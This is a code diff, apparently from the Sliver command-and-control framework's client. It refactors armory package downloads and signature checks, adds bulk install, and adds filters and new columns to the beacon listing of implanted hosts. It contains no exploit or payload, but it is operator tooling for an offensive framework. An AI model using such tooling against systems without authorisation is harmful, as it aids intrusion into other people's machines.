} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
@@ -376,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
armoryResult := &indexCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryConfig.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
@@ -412,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
@@ -433,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
@@ -451,9 +484,9 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
|
||||
@@ -20,11 +20,13 @@ package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -33,6 +35,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
return nil
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
return nil
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
@@ -118,9 +143,9 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -236,9 +261,9 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -39,7 +40,7 @@ import (
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
@@ -57,13 +58,13 @@ const (
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
Minisig string `json:"minisig"` // Minisig (Base64)
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
//
|
||||
@@ -78,35 +79,33 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
|
||||
indexResp := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, indexResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
return nil, errors.New("index has invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
@@ -116,20 +115,14 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -154,18 +147,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
@@ -206,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -220,7 +199,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -237,23 +216,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -266,7 +235,9 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndex := &ArmoryIndex{
|
||||
ArmoryConfig: armoryConfig,
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -275,20 +246,14 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -296,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -310,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -327,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -347,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
|
||||
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
|
||||
noAuth := &assets.ArmoryConfig{
|
||||
Authorization: "",
|
||||
}
|
||||
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
@@ -384,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
@@ -416,6 +356,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
@@ -455,9 +396,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
@@ -465,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
|
||||
client := httpClient(clientConfig)
|
||||
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if len(extraHeaders) > 0 {
|
||||
for key := range extraHeaders {
|
||||
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
|
||||
}
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
return resp, body, err
|
||||
}
|
||||
|
||||
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
|
||||
downloadHdr := http.Header{
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
return body, err
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package beacons
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -31,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -71,35 +72,45 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
tw := renderBeacons(beacons, filter, filterRegex, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -109,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
@@ -117,6 +129,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
@@ -131,38 +144,58 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
